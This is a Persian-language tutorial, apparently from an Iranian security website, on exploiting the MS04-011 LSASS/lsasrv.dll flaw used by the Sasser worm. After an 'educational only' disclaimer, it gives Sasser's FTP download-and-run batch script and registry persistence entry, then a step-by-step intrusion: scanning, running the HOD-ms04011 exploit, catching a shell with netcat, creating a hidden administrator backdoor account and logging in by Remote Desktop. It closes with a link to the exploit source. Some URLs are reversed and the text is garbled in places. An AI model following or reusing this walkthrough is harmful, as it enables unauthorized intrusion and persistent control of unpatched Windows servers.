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 :ملاحظات 

و هر گونه  .لازم به تذکر است کليه مطالب گفته شده در اين مقاله صرفا جنبه آموزشي دارد
 باشد و نويسندگان اين مقاله و استفاده غير آموزشي از اين مطالب بر عهده خود کاربران مي

  .عهده دار نمي باشدن آرا در قبال  ووليتيمديريت سايت امنيت وب هيچ گونه مس
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 :  مقدمه 

 تخيلي نيست –اين يک داستان علمي 

 من مثل روزهاي ديگر  در        .کنم صبح روز يکي از روزهاي اواسط ما مه ميلادي بود             فکر مي 
حتي زمان آن حادثه خوب به       . حال تکميل گزارش روزانه  به عنوان مدير امنيت شبکه  بودم             

 .۱۰:۱۵ساعت : ده يادم مان

 به   Switchبه خاطر اينکه مجبور شديم براي برپا نگه داشتن سرورها بعضي از آنها رو با                   
طور دستي از مدار خارج کنيم  البته من موقعي متوجه حادثه شدم که بر روي  سيستمي که                      

  ۶۰ سيستم ظرف مدت      Shutdownخودم در حال تکميل گزارش روزانه بودم پيغامي مبني بر           
البته با اينکه هنوز نمي دانستم چه اتفاقي        .  کنيد ظاهر شد      ثانيه و اينکه فورا داده ها را ذخيره       

 صفحه اي بلند کشيده بودم به هدر         ۳افتاده و براي اينکه حداقل زحماتي که براي آن گزارش             
و هر  نرود به جاي دست پاچه شدن به خودم گفتم اين پيغام به خاطر هر علتي که  آمده باشد                      

که با فرمان  ديگري  مي شود آن         !  کردن از روي سطر فرمان هست       Shutdownچه باشد شبيه    
 به طور موقت از خاموش       Shutdown  /a رفتم و با دستو ر         Runبنابراين به .را لغو كرد  

 شدن سيستم جلوگيري کردم

 

 
 

حتما اين  ولي مي دانستم اين راه حل اساسي نيست ومشکل بزرگتر از اين چيزهاست و                      
ترو جدي تر  شد وقتي  که         موضوع موقعي برايم روشن   . .موضوع علت ديگه اي  پشتش هست        

بخش پشتيباني با تماس با من اعلام کردند بيشتر کاربران شبکه ما دچار همين مشکل شدند                   
البته اين را هم بگويم که آن مو قع من هم نمي دانستم علت اين                 .ونميدونند بايد چه کار کنند      

 کردن چند تا از سرورها باره         Downهمچنين به خاطر    ..سائل مربوط به چه چيزي هست        م
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کاري روي ديگر سرورها بالا رفته بود و شبکه خيلي کند شده بود من اول فکر کردم  ما با يک                      
 مواجه شديم بعدا فهميدم ان همه مشکل         Disterbuted Denial of Services (DDoS)حمله  

 . جديد بود  Worm يک پيش اومده به خاطر

  کيلو بايتي    ۱۵  حتما شما هم با اين دوست          Sasser  Wormبله دوستان درست حدس زديد    
 پنجه نرم کرديد البته من و دوستانم قصد نداريم در اين مقاله به طور کامل  ساختار و                    دست و 

وتاه به اون   چگونگي عملکرد انواع اين کرم اينترنتي رو براي شما شرح بديم فقط اشارهاي ک               
 براي   Lsass.exeدر آن روزها اعلام شد که اين کرم از يک اسيب پذيري در پروسه                 .مي کنم   

نفوذ و گسترش خودش بر روي شبکه استفاده مي کند  من با شنيدن اين خبرمبني وجود حفره                  
 .  افتادم eEyeدر اين قسمت به  ياد يک گرارش امنيتي از متخصصان گروه امنيتي 

 مورد   lsass.exe که توسط    lsasrv.dllلام کرده بودند که اين آسيب پذيري مربوط به           آنها اع 
 کردن آن مي توانند امنيت سيستم را به خطر           Buffer Overflowاستفاده قرار مي گيرد  و با        

  مايکروسافت پچ هاي همان حفره را         eEyeالبته  در اين مورد هم   بعد از آن هشدار             . بيندازند
گروه ( با اين اوصاف به اين نتيجه رسيدم که اين جوانان هکر آلماني              . ي  منتشر کرد     به  زود  

NetSky  (          حتما از همين حفره جديد براي انتشار کرمsasser       استفاده کرده اند ولي داستان 
با تجربه اي که در اين سال ها داشتم به خودم گفتم  پشت هر کرمي                .  به همين جا ختم نمي شد     

براي  هک کردن از آنجا که هکرها         .   اي هم هست     Exploit  است و پشت هر حفره اي           حفره اي 
از هر حفره جديدي حداکثر استفاده را مي کنند و از آن جا که عمر اين کرم هنوز هم به يک سال                      

 ماه  که از اين اتفاق مي گذرد پس حتما اين آسيب پذيري  راه نفوذ به شبکه                   ۴-۳نرسيده بود و    
 .  چند ماه آينده مي تواند باشد ها در

 

 Microsoft IISبا کنجکاوي من و يک سري از دوستانم يه شيوه جديدي از هک سرورهاي                 

Server  پي برديم   

 که در   Microsoft KB835732 و  سيستم هاي پچ نشده با           lsassکه مشهور شده  به حفره       
– Win NT- WinXP(SP0-SP1)  شامل    MS04-11بولتن خبري  مايکروسافت با شماره           

Win2k(SP1-SP4)- 

Win Server 2003     بيت با اين اسيب پذيري قايل نفوذ هستند  البته            ۶۴ و   ۳۲ در نسخه هاي 
 شما با نصب پچ هاي ارائه شده براي اين حفره يا با ارتقاي سرويس پک سيستم عامل به                     
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Service Pack v2                 به سيستم هاي خود      مي توانيد از هر گونه حمله از طريق اين حفره
 .جلوگيري به عمل آوريد 

 در ابتدا قصد دارم شما را مقداري با ساختار عملکرد اين کرم اشنا کنم تا بتوانيد به راحتي                      
 را درک کنيد همانطور که شايد  قبلا با اين کرم اشنا شده باشيد اين کرم                  Exploit   نحوه کار     

 ثاينه نمايش   ۶۰ سيستم ظرف مدت     Shutdown بعد از نفوذ به سيستم شما پيغامي مبني بر         
 .مي دهد

 

 
 

اشتباه گرفته مي شود ولي     Lovesan  و   MS Blaster در اغلب اوقات اين کرم با کرم معروف         
براحتي از روي همين پيغام مي شود به تفاوتشان پي برد البته جالب است بدانيد نسخه هايي                  

 ندارند  sasser تفاوت چنداني با      Source Codeاز اين کرم شناسايي شده است که از نظر            
ولي از نظر شکل  ظاهري با آن فرق دارد همچنين در نحوه ي گسترش و عملکرد در داخل                         

 نوشته شده است    Alias cycloneمثلا  کرمي  توسط فردي به نام           . سيستم نيز متفاوت است   
رهاي برنامه نويس ايراني    همچنين اين فرد ادعا کرده است که يک ايراني بوده و از جماعت هک              

  وارد   TCP45اين كرم از طريق پورت       .که داراي يک مقام سياسي در ايران  مي باشد، است               
   CYCLONE.EXEسيستم شده و در صورت آسيب پذير بودن سيستم يک کپي از خود به نام                 

  سيستم  Rootدر شاخه 

Download               ه كاربردي    مي کند زمان اين کرم قادر به حمله است که برنامTFTP.EXE    در  
  را که    Lsass.exeهدف نصب شده باشد سپس اين کرم حمله خود را آغاز کرده  و پروسه                     
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همچنين  روش کار     .رويه امنيتي  اکانت ها به آن کنترل مي شوند را از کار مي اندازد                       
Lsass.exe        شبيه پروسه Svchost.exe              ث  است که اگر خللي در کار ان ايجاد گردد باع

Restart           سيستم مي شود شما مي توانيد نحوه removal          اين کرم را از ادرس زير بدست 
 اوريد 

.mspx.011-04MS/bulletin/security/technet/com.microsoft.www://http 

 

  remove امکان پذير است البته       safe mode  اين كرم فقط در حالت         Removalالبته  فرايند    
کردن اين كرم جديد  امکان کمي كار دارد زيرا باعث از کار افتادن دستورات سيستمي از قبيل                     

msconfig               و همچنين از کارافتادن فايروالها وعمل نکردن انتي ويروس هايي چون Norton  
ين کرم را سخت مي کند و من نيز همانند متخصصان  بخش                 کردن ا   removalمي شود که    
 معتقدم که تنها را راحت شدن از دست اين کرم نصب مجدد                Security Focus امنيت گروه   

در ضمن هيچ آنتي ويروسي قادر به از بين          . کردن حفره هاي مربوطه است     Patchويندوز و   
وز به اين کرم ها آلوده نشده ايد پس وقت          بردن اين  نوع از کرمهاي جديد نيستند آلبته اگر هن          

 و پروسه    lsasdrv.dll کردن اين  آسيب پذيري بروي              Disableرا از دست ندهيد وبا        
lsass.exe  خود را از خطر اين کرم ها محافظت نماييد . 

 

 مي   Sasser کرم   Next Ggeneration (NG) اطلاعاتي را که خوانديد مربوط به نسل بعدي         
 بوده است کرم هاي نوع اوليه        Worm.Win32.Sasser. A,bبسيار پيشرفته تر از     باشد که   

 خود را در اين شاخه از رجيستري ثبت مي کردند 

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVer
sion\Run] "avserve2.exe" = "%WINDIR%\avserve2.exe" 

 

 هاي هدف هاي ديگري را شناسايي كرده و  شروع            IPزير  و با استفاده از شکل کلي دستورات        
 ۵۵۴  بر روي پورت       FTP SERVERاين کرم با استفاده از    . به گسترش خود در شبکه مي كنند      

TCP/     به چک کردن IP        هايي که از طريق Windows API         جمع آوري کرده است  براي پي 
 ها ، از     IPذ پذير بودن هر يک از         بودن آنها مي پردازد و در صورت نفو           OnLineبردن به   

 به آ ن سيستم هاي آسيب پذير وصل مي شود           TCP/9994 و   TCP/5554طريق  پورت هاي       
 .و خود را گسترش مي دهد 
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echo off 

echo open [attacking machine address] 5554>>cmd.ftp 

echo anonymous>>cmd.ftp 

echo user 

echo bin>>cmd.ftp 

echo get [random number]_up.exe>>cmd.ftp 

echo bye>>cmd.ftp 

echo on 

ftp -s:cmd.ftp 

[random number]_up.exe 

echo off 

del cmd.ftp 

echo on 

 

 ها  IP قادر به حمله به اين  سري  از  sasser البته لازم به توضيح است که  نوع هاي  اوليه 
 نبودند

• 127.0.0.1  
• 10.x.x.x  
• 172.16.x.x - 172.31.x.x (inclusive)  
• 192.168.x.x  
• 169.254.x.x 

هنوز معلوم نيست علت اين موضوع به چه دليل بود به علت مشکلات فني يا تصميم                          
 Sasserولي به هر جهت در نسخه هاي          !   هاي فوق     IPنويسندگان کرم مزبور براي رد کردن       

NG  که شرحي از آن را در بالا مشاهده کرديد به تمامي IPي نفوذپذير حمله مي کنند ها . 

 به نگارش درآمد که با دستگيري فرد نويسنده          Z تا    A از نسخه هاي      sasserقابل ذکر است    
اين کرم اشخاصي ديگر شروع به منتشر کردن انواع  ديگري  از اين کرم نمودند با اينکه کرم                     

مشابه به    کدي    Gnomeهاي بعدي از همين حفره براي نفوذ استفاده مي نمودند و داراي                
  بودند ولي از نظر دامنه نفوذ و ديگر قابليت ها                 Worm.Win32.Sasser.Bخصوص با    

 . ونحوه پنهان کاري تفاوت هاي چشمگيري با پدران خود داشتند 
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مقاله پايين شرحي است بر چگونگي نفوذ مرحله به مرحله به  سيستم هاي  پچ نشده ذکر                       
 كه به علت جديد بودن اين حفره و نيز سستي هميشگي مديران             شده بالا که اين احتمال مي رود      

 سيستم هاي خود  شبکه براي به روز رساني 

به اين سبب بر آن شديم که هم با معرفي اين حفره            . ميزان حملات با اين حفره بسيار بالا باشد       
و نيز چگونگي عملکرد آن وشناسايي آن بر روي سرورهاي آسيب پذير خطر اين نوع از                      

لذا مطالب گفته شده در اين مقاله صرفا جنبه آموزشي دارد و هر گونه              . حملات را گوشزد کنيم     
سوء استفاده از مطالب ذيل بر عهده خود کاربران مي باشد ونويسندگان اين مقاله و همچنينن                 

 .مديريت سايت امنيت وب هيچ گونه مسوليتي را در اين مورد نمي پذيرند 
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 : نياز نرم افزارهاي  مورد

 
1 : Nmap (Current Version is 3.50 as of this writing ) 

org.insecure.www://http 

 

2: nc11nt  

com.atstake.www://http  

 

3: GFI Lan Guard Security Scanner or  DSScan (version 2004) 

 com.foundstone.www://http 

 

4:  HOD-ms04011-lsasrv-expl.c( Compile This Source) 

 

5:Terminal Server&Client or  WinVNC3 

http://www.download.com 
 

 به منظور نمايش     تمامي عمليات انجام شده بر روي سيستم  هاي فرضي  بوده و                   : تذکر
   خصوصي مي باشد  LAN ها براي يک شبکه    IP  وعمليات تهيه گرديده است 

سپس براي پيدا      در شبکه مشخص کنيد و       Ipconfig خودتان را با دستور       IPدر ابتدا بايد    
براي جلوگيري از   (کنيم    استفاده مي  sP– با سويچ      nmapکردن سيستم هاي روشن از        

 ،  IIS و نفوذ به سرورهاي      RPCحفره    توانيد براي اين قسمت از مقاله        ه مي طولاني شدن مقال  
 مورد نظر بايد آنها را از         ياستفاده کنيد پس از پيدا کردن سيستم ها         در سايت امنيت وب      

  مورد نظر چک کنيد Bugداشتن 

ه  با    آنگا توانيد از اين مرحله عبور کنيد        باشد مي   يک هدف مورد نظر شما مي      البته اگر فقط  
توانيد از وجود حفره روي سيستم آگاه شويد ولي اگر            بر روي آن مي     Exploitتست مستقيم   

 تست  پيدا كردن سيستم هاي آسيب پذير داريد      را براي     Range Ipشما قصد چک کردن يک        
 از   نيد براي اين منظور   اتو  شما مي  .تواند باشد  اي مي  کار خسته کننده    Exploitنها با   آتک تک   

GFI Languard Security Scanner v5  اسکنر بسيار پرقدرتي   ابزار   اين   . استفاده نماييد
کند بلکه تمامي حفره      براي شما در کمترين زمان چک مي        اتنها اين حفره خاص ر    نه  هست که   

 و حتما شما حفره هاي بسيار        پيدا مي كند   هم براي شما      اهاي شناخته شده تا اين تاريخ ر       
کنيد ولي کار با اين اسکنر مقداري نياز به آشنايي قبلي به چگونگي              ديگري را هم شناسايي مي    
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  و نحوه نفوذ به سرورهاي ويندوزي LSASRV.dllحفره 

Configure   دارد که اگر به خوبي        کردن اسکنرConfigure     تواند در نتايج     نشود شما را مي
ر کردن گزارش اسکن نهايي  کاره چندان اساني            همچنين فيلت . دست آمده سردر گم کند     ه  ب
 بيشتر از ديگر    ار نآخود من   .ست اين يکي از اسکنر هاي محبوب هکرهاي حرفه اي است               ين

 .:) ترجيح ميدهم اسكنرها آن را

 

 

  )GFI Languard Security Scanner v5اسکنر (

 
 

خاص تهيه کرده    ن منظور   براي اي    Foundstoneپس من براي شما نرم افزاري  را که شرکت            
باشد ولي من     مي  GFIساده تر از     کنم کار با اين اسکنر بسيار  بسيار         است  را پيشنهاد مي    

 )حتما به اين توصيه من توجه کنيد( کنم   توصيه ميا ر GFIبراي حرفه اي ها همان 

DSScan  افزاري است که بر مبناي اين حفره شروع به فرستادن              م نرecho packets  ه  ب
  packetنمايد که در صورت وجود حفره و با برگشتن            مي نظر مورد   ي سيستم ها  ۴۴۵پورت  
 . برد   بودن سيستم پي مي vulnerableها به 
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  و نحوه نفوذ به سرورهاي ويندوزي LSASRV.dllحفره 

 

  )Foundstone   از شرکت DDSScanنر افزار (به شکل زير توجه کنيد 

   
 

 مشخص  ا اسکن ر   حوزه  End Ip و    Start ipا در قسمت    دبراي شروع کار با اين اسکنر ابت       
 . شروع کنيداکنيد و اسکن را انتخاب ن حوزه رآکنيد سپس با زدن فلش مقابل 

سيب آ سيستم هاي    Statusتوانيد در قسمت     شما مي  .شوند   نتايج به سرعت مشخص مي     
 در   Host name يا    Ipمشاهده کنيد البته با قرار دادن يک تک           ا  سيب پذير ر  آغير   پذير و 

 تست   Bug از نظر داشتن اين      را  نيد فقط يک هدف      اتو خش همچنين مي  قسمت بالاي اين  ب     
 .کنيد 
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باشد وصرفا    هاي  نشان داده شده درتصاوير زيرمربوط به يک شبکه داخلي مي               IP: تذکر  
در خارج  از شبکه مورد نظر بلا           تست شده اند و    Virtualموزش در  داخل يک شبکه        آجهت  

 .استفاده  مي باشد 

   اسکن مي   217.218.13.254-217.218.13.1  از    ار  ها  IPزير من يک حوزه از      در شکل   : ۱
   ۲۱۷,۲۱۸,۱۳,۱۷۳نيد مشاهده کنيد که       اتو   شما مي   .ودش کنم نتايج به سرعت نمايش داده مي      

به  شکل   ( من قصد دارم روي همين هدف کار کنم          يک سيستم آسيب پذير به اين حفره است و        
خص شده  ش م  Vulnerableبا     سيستم هاي آسيب پذير       Statusت  در قسم )  زير توجه کنيد  

 .اند 

  )DSScanعمليات اسکن توسط ( 

 
 

 اين   sourceتوانيد   شما مي ( کنيم     را به سرور هدف تزريق مي         Exploitدر اين مرحله    :  ۲
Exploit  را با برنامه Lcc Win 32 کامپايل کنيد  (. 
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-HOD-ms04011-lsasrv   د به خاطر اين اسم طولاني             براي جلوگيري از دست در    : توجه  

expl.exe      من نام اين  Exploit       را به lss.exe       کنم شما هم قبل       تغيير نام دادم پيشنهاد مي
 .از اجراي اکسپلويت اين کار را انجام بدهيد 

 

 ) بر روي  سيستم هدف  Exploit اجراي ( 

 
 

 

 را مشاهده    Attacking … OKيت به هدف وصل شد و پيغام         با موفق   Exploitو بعد از اينکه       
  دسترسي پيداکنيد Shell Accountکرديد بايد از طريق يکي از دو راه زير به 

 

را به حالت     سيستم خود    ۵۰۰۰  پورت      Netcat توسط برنامه     Exploitقبل از اجراي    : الف  
  BindPort به عنوان     Explitراي  شنود بگذاريد اين همان پورتي است که شما در هنگام اج            

 .)لا توجه کنيد ابه شکل ب( تخاب کرديد نا

نيد از پورت هاي ديگري نيز استفاده کنيد ولي توجه به اين نکته داشته باشيد که                 اتو شما مي 
  يا پورت هايي را که به  طور استاندارد از يک سري                 ۲۳ يا   ۸۰اگر پورت هاي معروفي مثل       

Protocol   ني مي کنند را انتخاب کنيد اين امکان هست که باعث تداخل در اجراي                  ها پشتيبا
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Exploit         پس بهتر است پورت هاي غير معمولي  مثل              شود و شما با شکست مواجه شويد 
 . يا هر پورت دلخواه ديگري استفاده کنيد -  ۶۶۶۹ – ۴۴۴۴۴

 قرار گرفته است که       به حالت شنود   ۵۰۰۰تواند مشاهده کنيد که  پورت         در شکل زير شما مي    
 شل بروي سيستم شما از اين پورت براي ارتباط با سيستم هدف               Exploitبا برگشتن جواب    

 کند استفاده مي

 

 )۵۰۰۰قرار دادن سيستم خود در حالت شنود بر روي پورت ( 

 

  
 

 Telnetباشد زيرا     مي  Telnet کنم  استفاده از    را پيشنهاد مي   نآراه دوم که خود من       :  ب

 ولي از نظر امنيت برقراري ارتباط       .در اين مورد خاص است      Netcat داراي سرعت بيشتري از   
 هتخاب هر يک از دو را     نا.  قابل دسترسي است      netcat در    VVV( very very verbos)حالت  

 .بالا به خود شما بستگي دارد

 

  ipconfig ستور به دست گرفتم و با د        Telnetدر شکل زير من شل را از طريق برنامه             : ۳
 هستم در واقع من يکي از         217.218.13.173  به شماره     ipالان داراي    مطمئن شدم که من   

کنم با زدن    پيشنهاد مي  .يوزر هاي اين سيستم با حق دسترسي به عنوان مدير سيستم شدم              
  باخبر کنيد  Bug  از وجود اين ار يک ميل به مدير سرور مورد نظر آنها
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  ) Telnet از طزيق Shellگرفتن (

 

 
 

توانيد  در دست شماست و از نظر عملي الان هر کاري مي            در ادامه مقاله  سيستم مورد نظر      : ۴
و  توانيد به رد   در اينجا شما مي   . اخلاقي محدوديت هايي وجود دارد        انجام دهيد ولي از نظر    

 ديگري در  يا  هر کار      وها    کردن داده   Snifff يا با     TFTPبدل کردن فايلها به هدف از طريق         
 شنايي کاربران يک از کارههاي را که مي          آ  ولي من در ادامه فقط براي       .هيدسرور   انجام بد     

 جديد روي   كاربرن ايجاد يک    آم  و    هد توانيد روي سيستم هدف انجام بدهيد به شما نشان مي          
اي مجدد  سيستم مورد نظر است که براي دفعات بعدي برا نفوذ به سرور نيازي به  اجر                      

Exploit     بته با   ل ا   نداشته باشيدnetcat   نيد روي  هدف يک       اتو  هم مي BackDoor  ايجاد 
کنم در اين مرحله از نفوذ همه چيز به خود شما بستگي دارد واين  شما                  کنيد باز هم تکرار مي    

 net userدر شکل زير با دستور  . دهيد روي هدف گسترش ميان راهستيد که نوع نفوذ خودت

نت ها  اتوانيد پسوورد يکي از همين اک      توانيد مشاهده کنيد شما مي      مي ا اکانت هاي سيستم ر   
  تغيير نمي  ا هست ر   Administrator اصلي که در اينجا       كاربر  ولي پسوورد    ديه تغيير بد  ار
نشده بود براي تغييرات    استفاده  نام كاربري را داشتيد كه براي مدت زيادي از آن              اگر   .مهد

  .استمناسب 
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 ) هاي موجود بر روي هدف  Account نمايش (

 

 
 

به شکل   ( sysbackup ولي من قصد دارم يک يوزر با دسترسي مدير سيستم ايجاد کنم با نام               
 باز هم توجه کنيد اگر يوزري وجود داشت که براي مدتي از آن آستفاده نمي               ) زير توجه کنيد    

 .توانيد بر روي همان کار کنيد  شد مي

 

 ) sysbackupضافه کردن يک اکانت جديد به نام  ا(

 
 

  هاي سيستم اضافه شد كاربر به  sysbackup  ميبينيد که  net user با اجراي مجدد فرمان 

 

 )مشاهده مجدد اکانت ها(
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  و نحوه نفوذ به سرورهاي ويندوزي LSASRV.dllحفره 

 

 استفاده   net user sysbackup براي مشاهده جزييات درباره يوزري که ساختيم  از فرمان            
شويد هنوز اين     توجه کنيد متوجه مي      local Group membershipsکنيم به قسمت      مي

 ! يک مدير سيستم نيستكاربر

 

 )مشاهده جزييات بيشتر در مورد اکانت ايجاد شده(

 

 
 

 دهم  را  به مدير سيستم تغيير ميSysbackupمن با دستور ي که در شکل زير ميبينيد 

 

 ) Administratorتبديل اکانت جديد به  مدير سيستمي ( 
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 توجه   Local Group Memberships  گيرم و به  سطر        خصوصيات مي   sysbackupباز از   
 بينيد که کنيد  مي

   يک مدير سيستمي استsysbackupالان 

 

 )مشاهده مجدد جزييات يوزر جديد (

 
 

 

يک پسوورد هم براي جلوگيري از هر گونه سو اسنفاده اي روي اين يوزر تعريف ميکنم  
۱۲۳۴۵ 

 )قرار دادن پسوورد روي اکانت ( 

 
 ببينيد اگر    ا سرويس هايي که روي سيستم در حال اجرا هست ر                net start با دستور    
 Remote مشاهده کرديد بعدا ميتوانيد از طريق                ا ر  Terminal Servicesسرويس  
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Desktop Connection         يا برنامه هاي ديگري مثل Terminal Server & Client  اده  استف
  بگيريد  Download.comکنيد برنامه مورد نظر را از سايت 

 

 ) Terminal Services به خصوص -مشاهده ليست سرويس هاي جاري روي سيستم هدف(

 
 

توانيد به عنوان     نبود شما مي   start به هر دليلي در حالت        Terminal Serviceاگر سرويس   
ا در دفعات بعدي  اين امکان براي شما وجود            مدير سيستم اين سرويس را راه اندازي کنيد ت          

 به سرور مورد نظر وصل شويد        remote Desktop Connectionداشته باشد که از طريق      
 البته از برنامه     )  مراجعه کنيد     Netبراي راه اندازي سرويس ها به زير دستورات فرمان            .(
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راي وصل شدن به سرور      نيز ب  WinVnc32  و     Terminal Server&Clientهاي ديگري مثل    
نيد استفاده کنيد که در اينجا من براي راحتي کاربران از خود يکي از برنامه هاي داخلي                  اتو مي

Windowsکنم    استفاده مي. 

 

 اي که در مراحل بالا با نحوه ي ايجادشان آشنا            Password و    User nameدر شکل زير از     
براي ورود مجدد به يک سيستم هک شده نيست بلکه          البته اين تنها راه     . کنيم شديد استفاده مي  

 براي شما مثال زدم همانطوري که در        ار نآ هست من     User Friendlyنجايي که اين روش     آاز  
  هم در سيستم دوباره به همون سيستم           BackDoorنيد با ايجاد يک     اتو هم گفتم شما مي    بالا

 . نفوذ کنيد Exploitبدون نياز به اجراي 

 )Remote Desktop Connectionي ارتباط از طريق برقرار(

 
 

من مطمئن هستم که شما      ود   داشتي ادست آوردنش ر  ه  واين همان چيزي است که شما  انتظار ب        
ن آ و مانند همه  هکرهاي  کلاه سفيد در اين مرحله مدير               ددست به هيچگونه خرابکاري نميزني    
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 انيد و راه پچ کردن اين آسيب پذيري ر         ک خصوص باخبر مي  ه   ب  Bug از داشتن اين     اسايت ر 
 دهيد ن ميانها نشآهم به 

 

 ) GUIوارد شدن به سيستم هدف از طريق ( 

 
 

 

 

 :نکته مهم

 نيز نتوانيد به سيستم هدف       Password و   Userاين امکان نيز وجود دارد که حتي با داشتن           
اخته شده شما در      شود تا اکانت تازه س        Restartوصل شويد زيرا بايد سرور مورد نظر        

براي اين منظور   . پروسه امنيتي سيستم قرار گيرد تا در دفعه بعدي بتوان از ان استفاده نمود              
 Remoteاستفاده کنيد سپس دوباره از        Remote Shutdown Dialog Windowsنيز از   

Desktop connection  براي وصل شدن استفاده کنيد . 
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 به  Microsoft 2k/XP/2003Server که در    Remote Shutdown Dialogتوسط برنامهي   
طور داخلي وجود دارد شما قادر خواهيد بود هر سيستمي را با داشتن اجازه سيستمي از راه                   

  و Logoff و  Shutdownدور 

Restart    را بپذيريد به هر حال اگر در        البته شما بايد ريسک خطر لو رفتن نفوذ خود         .نماييد
 نماييد اين    Log in کردن سيستم هدف باز نتوانسيد به  آن             Restartاين مرحله نيز بعد از      

يا حذف شده     و  Disableنت جديد شما    ارود که حمله شما شناسايي شده است و اک         احتمال مي 
ط بيشتر  ابار با احتي    وارد شويد ولي اين     Exploitدوباره سعي کنيد از طريق همين       .... است  

تر گسترش نفوذ    تواند باشد ولي آز ان نيز پيچيده       اني نمي سآگرچه نفوذ به يک سيستم کار       
 .....شود و نيز پنهان ماندن است هنر اصلي هک در همين نکته متبلور مي

 
ست  که  نفوذ      ا کنيد بلکه مهم اين     هدف خود نفوذ مي    بهمهم اين نيست که چطور       : کلام آخر   

خواهشمنديم از  . کنيد   را دنبال مي  از نفوذ خود چه اهدافي       و دهيد را چگونه گسترش مي    خود
اگر به   و اين مقاله براي امن کردن سرورهاي خود بهره بگيريد وبه ديگران هم گوشزد کنيد                
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در زير  .   پي برديد به نصب پچ هاي اشاره شده اقدام نماييد              دچنين باگي در سيستم خو     
Source      اين Exploit            به زبان     را براي کاربراني که مسلط به برنامه نويسي C    هستد را 
 دهيم  قرار مي

 

  در صورت هر گونه  برخورد با مشکل لطفا با نويسندگان اين مقاله تماس حاصل فرماييد                    
 .شود  منا به  تمامي نامه هاي ارسالي در اسرع وقت پاسخ داده ميض

com._ir@yahoo2Mohsen  
com.r@Spymac0llect0C com.devil@yahoo4Liv  

 
 : را مي توانيد از آدرس زير دريافت كنيدExploitفايل 

c.lss/articles/com.zwebsecuritymg.www://http 
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